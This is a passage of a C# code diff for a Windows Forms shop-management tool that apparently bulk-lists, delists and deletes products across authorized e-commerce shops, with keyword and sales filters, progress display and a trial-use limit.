resultOffline = shopProductBLL.GetShopProductListData(shop, 1, 1, 10); + if (resultOffline.Contains("\"code\":10000")) + { + if (row != null) + { + var text = BaseRegex.GetStringJson(ref resultOffline, "total"); + shop.OfflineProductCount = text.ParseToInt(); + + Invoke(new Action(() => + { + row.Cells["colOffSaleCount"].Value = string.IsNullOrEmpty(text) ? "" : text; + })); + } + } + + string resultShowText = ""; + if (resultOnline.Contains("\"code\":10000") && resultOffline.Contains("\"code\":10000")) + { + resultShowText = "商品数量获取成功"; + } + else + { + resultShowText = "商品数量获取失败"; + if (!resultOnline.Contains("\"code\":10000")) + { + var html = BaseRegex.GetStringJson(ref resultOnline, "sub_msg"); + if (string.IsNullOrEmpty(html)) + html = resultOnline; + resultShowText += ",获取在售商品错误:" + html; + } + if (!resultOffline.Contains("\"code\":10000")) + { + var html = BaseRegex.GetStringJson(ref resultOffline, "sub_msg"); + if (string.IsNullOrEmpty(html)) + html = resultOffline; + resultShowText += ",获取仓库商品错误:" + html; + } + } + Invoke(new Action(() => + { + if (row != null) + { + if (isShowResult) + row.Cells["colStatus"].Value = resultShowText; + } + })); + } + + private void ShopProductForm_Load(object sender, EventArgs e) + { + chkSelectAll = dgvShop.Columns["colSelect"].AddHeaderCheckBox(HorizontalAlignment.Right, 0, 0, null, null, false); + chkSelectAll.Width = chkSelectAll.Height = 13; + chkSelectAll.CheckedChanged += chkSelectAll_CheckedChanged; + } + + private void ShopProductForm_VisibleChanged(object sender, EventArgs e) + { + if (Visible == true) + RefreshShop(); + } + + private void RefreshShop() + { + // 更新选中的上货店铺Id + lstShopId = lstShopId.Where(id => GlobalConfig.DouShopLoginList.Any(s => s.ShopAccountId == id && s.LoginStatus == "已授权")).ToList(); + // 获取被删除的店铺 + List dgvRowList = dgvShop.Rows.Cast().Where(row + => !GlobalConfig.DouShopLoginList.Any(s => s.ShopAccountId == row.Cells["colShopId"]?.Value?.ToString())).ToList(); + // 更新被删除的店铺列表 + foreach (var row in dgvRowList) + { + dgvShop.Rows.Remove(row); + } + // 绑定其他店铺(含新导入的店铺) + foreach (DouShopLoginInfo shopEntity in GlobalConfig.DouShopLoginList) + { + BindShop(shopEntity); + } + } + + private void BindShop(DouShopLoginInfo shopEntity) + { + var row = dgvShop.Rows.Cast().FirstOrDefault(p => p.Cells.GetCellValueFromColumnName("colShopId").ParseToString() == shopEntity.ShopAccountId); + if (row == null) + { + this.dgvShop.Rows.Add( + false, + shopEntity.ShopAccountId, + shopEntity.ShopAccount, + shopEntity.ApiAuthStatus, + shopEntity.LoginStatus, + shopEntity.ApiAuthStatus == "授权成功" && shopEntity.LoginStatus == "登录成功" ? true : false, + "查看详情", + shopEntity.OnlineProductCount >= 0 ? shopEntity.OnlineProductCount.ToString() : "", + shopEntity.OfflineProductCount >= 0 ? shopEntity.OfflineProductCount.ToString() : "", + string.Empty, + string.Empty + ); + } + else + { + row.Cells["colSelect"].Value = lstShopId.Contains(shopEntity.ShopAccountId); + row.Cells["colShopName"].Value = shopEntity.ShopAccount; + row.Cells["colAuthStatus"].Value = shopEntity.ApiAuthStatus; + row.Cells["colLoginStatus"].Value = shopEntity.LoginStatus; + row.Cells["colCanUse"].Value = shopEntity.ApiAuthStatus == "授权成功" && shopEntity.LoginStatus == "登录成功" ? true : false; + row.Cells["colOnSaleCount"].Value = shopEntity.OnlineProductCount >= 0 ? shopEntity.OnlineProductCount.ToString() : ""; + row.Cells["colOffSaleCount"].Value = shopEntity.OfflineProductCount >= 0 ? shopEntity.OfflineProductCount.ToString() : ""; + } + } + + private void chkSelectAll_CheckedChanged(object sender, EventArgs e) + { + if (!chkSelectAll.Checked) + { + lstShopId.Clear(); + foreach (DataGridViewRow row in dgvShop.Rows) + { + row.Cells["colSelect"].Value = false; + } + } + else + { + lstShopId.Clear(); + var list = GlobalConfig.DouShopLoginList.Where(s => s.ApiAuthStatus == "授权成功" && s.LoginStatus == "登录成功").Select(ss => ss.ShopAccountId); + lstShopId.AddRange(list); + foreach (DataGridViewRow row in dgvShop.Rows) + { + if (list.Any(l => l == row.Cells["colShopId"]?.Value?.ToString())) + row.Cells["colSelect"].Value = true; + } + } + } + + private void btnRefreshShop_Click(object sender, EventArgs e) + { + RefreshShop(); + } + + private void dgvShop_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + string headerText = dgvShop.Columns[e.ColumnIndex].HeaderText; + long shopId = dgvShop.Rows[e.RowIndex].Cells["colShopId"].Value.ParseToLong(); + string shopName = dgvShop.Rows[e.RowIndex].Cells["colShopId"].Value.ToString(); + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId.ToString()); + switch (headerText) + { + case "操作": + case "选": + if (dgvShop.Rows[e.RowIndex].Cells["colCanuse"].Value.ParseToBool()) + { + dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value = !dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value.ParseToBool(); + if (dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value.ParseToBool()) + lstShopId.Add(shopId.ToString()); + else + lstShopId.Remove(shopId.ToString()); + } + else + { + BaseMsgForm.ShowInfo("店铺未授权或未登录"); + } + break; + } + } + + /// + /// 商品上架 + /// + /// + /// + private void btnOnline_Click(object sender, EventArgs e) + { + lstOperateTask.Clear(); + + if (lstShopId.Count == 0) + { + BaseMsgForm.ShowInfo("请选择要上架商品的店铺"); + return; + } + try + { + this.operateCount = Convert.ToInt32(txtOperateCount.Text); + this.keywords = txtKeywords.Text.Split(new string[] { ",", "\r\n" }, StringSplitOptions.RemoveEmptyEntries).ToList(); + } + catch (Exception ex) + { + BaseMsgForm.ShowInfo("请输入正确的参数"); + return; + } + FailedMessages = ""; + this.btnFailedDetail.Visible = false; + this.btnOnline.Enabled = this.btnOffline.Enabled = this.btnDelOffSale.Enabled = this.btnDelOnSale.Enabled = false; + foreach (DataGridViewRow row in dgvShop.Rows) + { + if (lstShopId.Contains(row.Cells["colShopId"].Value?.ToString())) + row.Cells["colStatus"].Value = ""; + } + if (isNotOperateChangeDays) + notOperateChangeDaysTick = BaseClass.DateTimeToTimestampSeconds(notOperateChangeDays); + else + notOperateChangeDaysTick = 0; + + int n = 0; + + cancellationTokenSource = new CancellationTokenSource(); + Task.Run(() => + { + foreach (var shopId in lstShopId) + { + int shopOperatecount = operateCount; + this.Invoke(new Action(() => + { + n++; + var total = lstShopId.Count(); + + this.statusBar.lblTaskStatus.Text = "正在上架..."; + this.statusBar.pgbTaskProgress.Value = n; + this.statusBar.pgbTaskProgress.Text = n + "/" + total; + this.statusBar.pgbTaskProgress.Maximum = total; + })); + + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId); + if (shop == null) + continue; + + DataGridViewRow row = null; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = "正在上架商品"; } + })); + + var t = Task.Run(() => + { + // 显示商品数 + GetShopProduct(shop, false); + + int totalNumBase = shop.OfflineProductCount; // 上架开始时的未上架商品数 + int totalNum = shop.OfflineProductCount; // 未上架商品数 + int setNum = 0; // 上架商品数量(因关键词存在因此少于或等于商品循环计数) + int currentNum = 0; // 商品循环计数 + int page = 0; + int pageSize = 50; + string onSaleMessage = ""; + List productList = new List(); + + var waitOnSaleHtml = ""; + + while ((currentNum < shopOperatecount && currentNum < totalNumBase) || page == 0) + { + page += 1; + currentNum += pageSize; + if (cancellationTokenSource.IsCancellationRequested) + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { Invoke(new Action(() => { row.Cells["colStatus"].Value = "上架中断"; })); } + break; + } + + // 获取下架商品列表 + waitOnSaleHtml = shopProductBLL.GetShopProductListData(shop, 1, page, pageSize, notOperateChangeDaysTick); + Thread.Sleep(Randomx.GetId(500, 1000)); + + if (waitOnSaleHtml.Contains("\"code\":10000")) + { + totalNum = BaseRegex.GetIntJson(ref waitOnSaleHtml, "total"); + shop.OfflineProductCount = totalNum; + + if (shopOperatecount > totalNumBase) + shopOperatecount = totalNumBase; + if (currentNum > totalNumBase) + currentNum = totalNumBase; + + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) + { + row.Cells["colOffSaleCount"].Value = totalNumBase; + } + })); + if (totalNum == 0) + { + onSaleMessage = "上架结束,店铺没有未上架的商品"; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = onSaleMessage; } + })); + break; + } + + try + { + JObject jObj = JObject.Parse(waitOnSaleHtml); + var jObjDataStr = jObj["data"]?["data"]?.ToString(); + if (!string.IsNullOrEmpty(jObjDataStr)) + { + var addList = JsonHelper.DeserializeJsonToList(jObjDataStr); + // 筛选掉审核未通过或封禁的商品 + if (addList != null) + { + addList = addList.Where(p => p.check_status != 4 && p.check_status != 5).ToList(); + productList.AddRange(addList); + } + } + onSaleMessage = "正在获取商品,第 " + currentNum + " 件商品,共 " + shopOperatecount + " 件商品"; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = onSaleMessage; } + })); + } + catch (Exception ex) + { + BaseMsgForm.ShowError("获取商品发生错误:" + ex.Message); + } + } + else + { + var failMessage = BaseRegex.GetStringJson(ref waitOnSaleHtml, "sub_msg"); + if (string.IsNullOrEmpty(failMessage)) + failMessage = waitOnSaleHtml; + onSaleMessage = ("上架失败," + failMessage).TrimEnd(','); + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = onSaleMessage; } + })); + Thread.Sleep(1000); + } + } + + // 有关键词的过滤符合关键词 + if (keywords.Any()) + productList = productList.Where(p => keywords.Any(key => p.name.Contains(key))).ToList(); + + // 操作数大于满足筛选条件商品数时,操作数改为商品数 + if (shopOperatecount > productList.Count) + shopOperatecount = productList.Count; + + string list = ""; + for (int i = 0; i < productList.Count && i < shopOperatecount; i++) + { + if (cancellationTokenSource.IsCancellationRequested) + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { Invoke(new Action(() => { row.Cells["colStatus"].Value = "上架中断"; })); } + break; + } + + if (shop.PayStatus != 1 && shop.TrialOperateCount >= 100) + { + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = "当前为试用版,请购买专业版"; } + })); + break; + } + + Invoke(new Action(() => + { + onSaleMessage = "正在上架,第 " + (i + 1) + " 件商品,共 " + shopOperatecount + " 件商品"; + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = onSaleMessage; } + })); + Thread.Sleep(50); + + var product = productList[i]; + setNum++; + list += product.product_id + ","; + if (i % 1 == 0 || i == shopOperatecount - 1) + { + Thread.Sleep(Randomx.GetId(100, 300)); + list = list.TrimEnd(','); + var onSaleResultCode = shopProductBLL.OnSaleProduct(shop, list); + if (!onSaleResultCode.Contains("\"code\":10000")) + { + Thread.Sleep(Randomx.GetId(1000, 3000)); + onSaleResultCode = shopProductBLL.OnSaleProduct(shop, list); + } + Thread.Sleep(Randomx.GetId(100, 300)); + if (onSaleResultCode.Contains("\"code\":10000")) + { + //var matches = BaseRegex.GetMatchRegex(ref onSaleResultCode, "\"data\":\\d{1}([\\s\\S]+?)}"); + //foreach (Match m in matches) + //{ + // var mStr = m.ToString(); + // if (mStr.Contains("\"success\":false")) + // { + // var id = BaseRegex.GetLongJson(ref mStr, "data"); + // var msg = BaseRegex.GetStringJson(ref mStr, "sub_msg"); + // FailedMessages += "店铺:" + shop.ShopName + ",商品id:" + id + ",错误信息:" + msg + "\r\n"; + // } + //} + updateTrailOperationCount(shop); + onSaleMessage = "上架中,第 " + setNum + " 件商品,共 " + shopOperatecount + " 件商品"; + Thread.Sleep(Randomx.GetId(800, 1600)); + } + else + { + var failMessage = BaseRegex.GetStringJson(ref onSaleResultCode, "sub_msg"); + if (string.IsNullOrEmpty(failMessage)) + failMessage = BaseRegex.GetStringJson(ref onSaleResultCode, "status_reason"); + if (string.IsNullOrEmpty(failMessage)) + failMessage = onSaleResultCode; + FailedMessages += "店铺:" + shop.ShopAccount + ",商品id:" + list + ",错误信息:" + failMessage + "\r\n"; + onSaleMessage = ("上架失败," + failMessage).TrimEnd(','); + } + list = ""; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = onSaleMessage; } + })); + if (onSaleMessage.Contains("失败")) + Thread.Sleep(1000); + Thread.Sleep(Randomx.GetId(100, 200)); + if (onSaleMessage.Contains("违规") || onSaleMessage.Contains("禁售")) + continue; + if (onSaleMessage.Contains("失败")) + continue; + if (i == shopOperatecount - 1) + { + onSaleMessage = "上架完成"; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = onSaleMessage; } + })); + } + } + + // 上架过程中更新显示仓库商品数 + if (i % 100 == 99 || i == shopOperatecount - 1) + GetShopProduct(shop, false); + } + }); + lstOperateTask.Add(t); + while (lstOperateTask.Where(ts => !ts.IsCompleted).ToList().Count >= 20) + { + Thread.Sleep(1000); + } + } + Task.WaitAll(lstOperateTask.ToArray()); + + Invoke(new Action(() => + { + this.btnOnline.Enabled = this.btnOffline.Enabled = this.btnDelOffSale.Enabled = this.btnDelOnSale.Enabled = true; + if (!cancellationTokenSource.IsCancellationRequested) + { + var text = "上架完成!"; + if (!string.IsNullOrEmpty(FailedMessages)) + { + text += "部分商品上架失败,请查看详情。"; + btnFailedDetail.Visible = true; + } + this.statusBar.lblTaskStatus.Text = text; + BaseMsgForm.ShowInfo(text); + } + else + { + var text = "上架中断!"; + if (!string.IsNullOrEmpty(FailedMessages)) + { + text += "部分商品上架失败,请查看详情。"; + btnFailedDetail.Visible = true; + } + this.statusBar.lblTaskStatus.Text = text; + BaseMsgForm.ShowInfo(text); + } + })); + }, cancellationTokenSource.Token); + } + + /// + /// 商品下架 + /// + /// + /// + private void btnOffline_Click(object sender, EventArgs e) + { + lstOperateTask.Clear(); + + if (lstShopId.Count == 0) + { + BaseMsgForm.ShowInfo("请选择要下架商品的店铺"); + return; + } + try + { + this.operateCount = Convert.ToInt32(txtOperateCount.Text); + this.keywords = txtKeywords.Text.Split(new string[] { ",", "\r\n" }, StringSplitOptions.RemoveEmptyEntries).ToList(); + } + catch (Exception ex) + { + BaseMsgForm.ShowInfo("请输入正确的参数"); + return; + } + FailedMessages = ""; + this.btnFailedDetail.Visible = false; + this.btnOnline.Enabled = this.btnOffline.Enabled = this.btnDelOffSale.Enabled = this.btnDelOnSale.Enabled = false; + foreach (DataGridViewRow row in dgvShop.Rows) + { + if (lstShopId.Contains(row.Cells["colShopId"].Value?.ToString())) + row.Cells["colStatus"].Value = ""; + } + + int n = 0; + lstProductIdHasSales.Clear(); + lstGetSalesSuccesShop.Clear(); + cancellationTokenSource = new CancellationTokenSource(); + isNotOperateHasSales = chkNotOperateHasSales.Checked; + notOperateChangeDays = DateTime.Now.Date.AddDays(0 - this.txtNotOperateChangeDays.Text.ParseToInt()); + // 只操作指定天数之前修改的商品 + if (isNotOperateChangeDays) + notOperateChangeDaysTick = BaseClass.DateTimeToTimestampSeconds(notOperateChangeDays); + else + notOperateChangeDaysTick = 0; + // todo:先读取所有店铺的符合条件商品,然后统一删除 + Dictionary dicShopOperateProductList = new Dictionary(); + + Task.Run(() => + { + foreach (var shopId in lstShopId) + { + + int shopOperateCount = operateCount; + + this.Invoke(new Action(() => + { + n++; + var total = lstShopId.Count(); + + this.statusBar.lblTaskStatus.Text = "正在下架..."; + this.statusBar.pgbTaskProgress.Value = n; + this.statusBar.pgbTaskProgress.Text = n + "/" + total; + this.statusBar.pgbTaskProgress.Maximum = total; + })); + + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId); + if (shop == null) + continue; + + DataGridViewRow row = null; + + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = "正在初始化下架商品"; } + })); + + if (cancellationTokenSource.IsCancellationRequested) + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { Invoke(new Action(() => { row.Cells["colStatus"].Value = "下架中断"; })); } + break; + } + + // 过滤有销量的商品 + if (isNotOperateHasSales) + { + if (LittleRabbitForms.ShopForms.ShopListForm.Instance == null) + LittleRabbitForms.ShopForms.ShopListForm.Instance = new LittleRabbitForms.ShopForms.ShopListForm(); + LittleRabbitForms.ShopForms.ShopListForm.Instance.CheckShopLogin(new string[] { shop.ShopAccount }, false); + + if (shop.LoginStatus != "登录成功") + { + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = "未登录店铺无法获取商品销量。"; } + })); + continue; + } + else + { + this.GetHasSales(shop); + + while (isReadShopSales) + { + Thread.Sleep(100); + } + if (!lstGetSalesSuccesShop.Contains(shop)) + { + Invoke(new Action(() => + { + this.btnOnline.Enabled = this.btnOffline.Enabled = this.btnDelOffSale.Enabled = this.btnDelOnSale.Enabled = true; + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = "店铺获取商品销量失败。"; } + })); + continue; + } + } + } + + var t = Task.Run(() => + { + + // 显示商品数 + GetShopProduct(shop, false); + + int totalNumBase = shop.OnlineProductCount; // 下架开始时的在售商品数 + int totalNum = shop.OnlineProductCount; // 在售商品数 + int setNum = 0; // 下架商品数量(因关键词存在因此少于或等于商品循环计数) + int currentNum = 0; // 商品循环计数 + int page = 0; + int pageSize = 50; + string offSaleMessage = ""; + List productList = new List(); + var waitOffSaleHtml = ""; + + while ((productList.Count < shopOperateCount && currentNum < totalNumBase) || page == 0) + { + page += 1; + currentNum += pageSize; + if (cancellationTokenSource.IsCancellationRequested) + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { Invoke(new Action(() => { row.Cells["colStatus"].Value = "下架中断"; })); } + break; + } + + // 获取待下架商品列表 + waitOffSaleHtml = shopProductBLL.GetShopProductListData(shop, 0, page, pageSize, notOperateChangeDaysTick); + Thread.Sleep(Randomx.GetId(500, 1000)); + + if (waitOffSaleHtml.Contains("\"code\":10000")) + { + totalNum = BaseRegex.GetIntJson(ref waitOffSaleHtml, "total"); + shop.OfflineProductCount = totalNum; + + if (shopOperateCount > totalNumBase) + shopOperateCount = totalNumBase; + if (currentNum > totalNumBase) + currentNum = totalNumBase; + + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) + { + row.Cells["colOnSaleCount"].Value = totalNumBase; + } + })); + if (totalNum == 0) + { + offSaleMessage = "下架结束,店铺没有未下架的商品"; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = offSaleMessage; } + })); + break; + } + + try + { + JObject jObj = JObject.Parse(waitOffSaleHtml); + var jObjDataStr = jObj["data"]?["data"]?.ToString(); + if (!string.IsNullOrEmpty(jObjDataStr)) + { + var addList = JsonHelper.DeserializeJsonToList(jObjDataStr); + if (addList != null) + { + // 有关键词的过滤符合关键词 + if (keywords.Any()) + addList = addList.Where(p => keywords.Any(key => p.name.Contains(key))).ToList(); + // 过滤有销量的商品 + if (isNotOperateHasSales) + addList = addList.Where(p => lstProductIdHasSales.Contains(p.product_id.ToString()) == false).ToList(); + + productList.AddRange(addList); + } + } + offSaleMessage = "已获取:" + currentNum + ",符合条件:" + productList.Count + ",在售商品获取中..."; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = offSaleMessage; } + })); + } + catch (Exception ex) + { + BaseMsgForm.ShowError("获取商品发生错误:" + ex.Message); + } + } + else + { + var failMessage = BaseRegex.GetStringJson(ref waitOffSaleHtml, "sub_msg"); + if (string.IsNullOrEmpty(failMessage)) + failMessage = waitOffSaleHtml; + offSaleMessage = ("下架失败," + failMessage).TrimEnd(','); + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = offSaleMessage; } + })); + Thread.Sleep(1000); + } + } + + // 操作数大于满足筛选条件商品数时,操作数改为商品数 + if (shopOperateCount > productList.Count) + shopOperateCount = productList.Count; + + if (productList.Count == 0) + { + offSaleMessage = "下架完成"; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = offSaleMessage; } + })); + } + + string list = ""; + for (int i = 0; i < productList.Count && i < shopOperateCount; i++) + { + if (cancellationTokenSource.IsCancellationRequested) + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { Invoke(new Action(() => { row.Cells["colStatus"].Value = "下架中断"; })); } + break; + } + + if (shop.PayStatus != 1 && shop.TrialOperateCount >= 100) + { + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = "当前为试用版,请购买专业版"; } + })); + break; + } + + Invoke(new Action(() => + { + offSaleMessage = "正在下架,第 " + (i + 1) + " 件商品,共 " + shopOperateCount + " 件商品"; + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = offSaleMessage; } + })); + Thread.Sleep(50); + + var product = productList[i]; + + var pid = product.product_id; + + setNum++; + list += product.product_id + ","; + if (i % 1 == 0 || i == shopOperateCount - 1) + { + Thread.Sleep(Randomx.GetId(100, 300)); + list = list.TrimEnd(','); + var offSaleResultCode = shopProductBLL.OffSaleProduct(shop, list); + if (!offSaleResultCode.Contains("\"code\":10000")) + { + Thread.Sleep(Randomx.GetId(1000, 3000)); + offSaleResultCode = shopProductBLL.OffSaleProduct(shop, list); + } + Thread.Sleep(Randomx.GetId(100, 300)); + if (offSaleResultCode.Contains("\"code\":10000")) + { + updateTrailOperationCount(shop); + offSaleMessage = "下架中,第 " + setNum + " 件商品,共 " + shopOperateCount + " 件商品"; + Thread.Sleep(Randomx.GetId(800, 1600)); + } + else + { + var failMessage = BaseRegex.GetStringJson(ref offSaleResultCode, "sub_msg"); + if (string.IsNullOrEmpty(failMessage)) + failMessage = BaseRegex.GetStringJson(ref offSaleResultCode, "status_reason"); + if (string.IsNullOrEmpty(failMessage)) + failMessage = offSaleResultCode; + FailedMessages += "店铺:" + shop.ShopAccount + ",商品id:" + list + ",错误信息:" + failMessage + "\r\n"; + offSaleMessage = ("下架失败," + failMessage).TrimEnd(','); + } + list = ""; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = offSaleMessage; } + })); + Thread.Sleep(Randomx.GetId(100, 200)); + if (offSaleMessage.Contains("违规") || offSaleMessage.Contains("禁售")) + continue; + if (offSaleMessage.Contains("失败")) + continue; + if (i == shopOperateCount - 1) + { + offSaleMessage = "下架完成"; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = offSaleMessage; } + })); + } + + } + // 上架过程中更新显示仓库商品数 + if (i % 100 == 99 || i == shopOperateCount - 1) + GetShopProduct(shop, false); + } + }); + lstOperateTask.Add(t); + while (lstOperateTask.Where(ts => !ts.IsCompleted).ToList().Count >= 20) + { + Thread.Sleep(1000); + } + } + Task.WaitAll(lstOperateTask.ToArray()); + + Invoke(new Action(() => + { + this.btnOnline.Enabled = this.btnOffline.Enabled = this.btnDelOffSale.Enabled = this.btnDelOnSale.Enabled = true; + if (!cancellationTokenSource.IsCancellationRequested) + { + var text = "下架完成!"; + if (!string.IsNullOrEmpty(FailedMessages)) + { + text += "部分商品下架失败,请查看详情。"; + btnFailedDetail.Visible = true; + } + this.statusBar.lblTaskStatus.Text = text; + BaseMsgForm.ShowInfo(text); + } + else + { + var text = "下架中断!"; + if (!string.IsNullOrEmpty(FailedMessages)) + { + text += "部分商品下架失败,请查看详情。"; + btnFailedDetail.Visible = true; + } + this.statusBar.lblTaskStatus.Text = text; + BaseMsgForm.ShowInfo(text); + } + })); + }, cancellationTokenSource.Token); + } + + private void btnFailedDetail_Click(object sender, EventArgs e) + { + + } + + private void btnDelOnSale_Click(object sender, EventArgs e) + { + DeleteProduct(); + } + + private void DeleteProduct(bool isDelOnline = true) + { + lstOperateTask.Clear(); + + if (lstShopId.Count == 0) + { + BaseMsgForm.ShowInfo("请选择要删除商品的店铺"); + return; + } + try + { + this.operateCount = Convert.ToInt32(txtOperateCount.Text); + this.keywords = txtKeywords.Text.Split(new string[] { ",", "\r\n" }, StringSplitOptions.RemoveEmptyEntries).ToList(); + } + catch (Exception ex) + { + BaseMsgForm.ShowInfo("请输入正确的参数"); + return; + } + FailedMessages = ""; + this.btnFailedDetail.Visible = false; + this.btnOnline.Enabled = this.btnOffline.Enabled = this.btnDelOffSale.Enabled = this.btnDelOnSale.Enabled = false; + foreach (DataGridViewRow row in dgvShop.Rows) + { + if (lstShopId.Contains(row.Cells["colShopId"].Value?.ToString())) + row.Cells["colStatus"].Value = ""; + } + + int n = 0; + lstProductIdHasSales.Clear(); + lstGetSalesSuccesShop.Clear(); + cancellationTokenSource = new CancellationTokenSource(); + isNotOperateHasSales = chkNotOperateHasSales.Checked; + notOperateChangeDays = DateTime.Now.Date.AddDays(0 - this.txtNotOperateChangeDays.Text.ParseToInt()); + // 只操作指定天数之前修改的商品 + if (isNotOperateChangeDays) + notOperateChangeDaysTick = BaseClass.DateTimeToTimestampSeconds(notOperateChangeDays); + else + notOperateChangeDaysTick = 0; + + Task.Run(() => + { + foreach (var shopId in lstShopId) + { + int shopOperatecount = operateCount; + + this.Invoke(new Action(() => + { + n++; + var total = lstShopId.Count(); + + this.statusBar.lblTaskStatus.Text = "正在删除..."; + this.statusBar.pgbTaskProgress.Value = n; + this.statusBar.pgbTaskProgress.Text = n + "/" + total; + this.statusBar.pgbTaskProgress.Maximum = total; + })); + + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId); + if (shop == null) + continue; + + DataGridViewRow row = null; + + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) + { + if (isDelOnline) + row.Cells["colStatus"].Value = "正在初始化删除在售商品"; + else + row.Cells["colStatus"].Value = "正在初始化删除仓库商品"; + } + })); + + // 过滤有销量的商品 + if (isNotOperateHasSales) + { + if (ShopForms.ShopListForm.Instance == null) + ShopForms.ShopListForm.Instance = new ShopForms.ShopListForm(); + ShopForms.ShopListForm.Instance.CheckShopLogin(new string[] { shop.ShopAccount }, false); + + if (shop.LoginStatus != "登录成功") + { + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = "未登录店铺无法获取商品销量。"; } + })); + continue; + } + else + { + this.GetHasSales(shop); + + while (isReadShopSales) + { + Thread.Sleep(100); + } + if (!lstGetSalesSuccesShop.Contains(shop)) + { + Invoke(new Action(() => + { + this.btnOnline.Enabled = this.btnOffline.Enabled = this.btnDelOffSale.Enabled = this.btnDelOnSale.Enabled = true; + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = "店铺获取商品销量失败。"; } + })); + continue; + } + } + } + + var t = Task.Run(() => + { + // 显示商品数 + GetShopProduct(shop, false); + + int totalNumBase = shop.OnlineProductCount; // 删除开始时的在售商品数 + int totalNum = shop.OnlineProductCount; // 在售商品数 + if (!isDelOnline) + { + 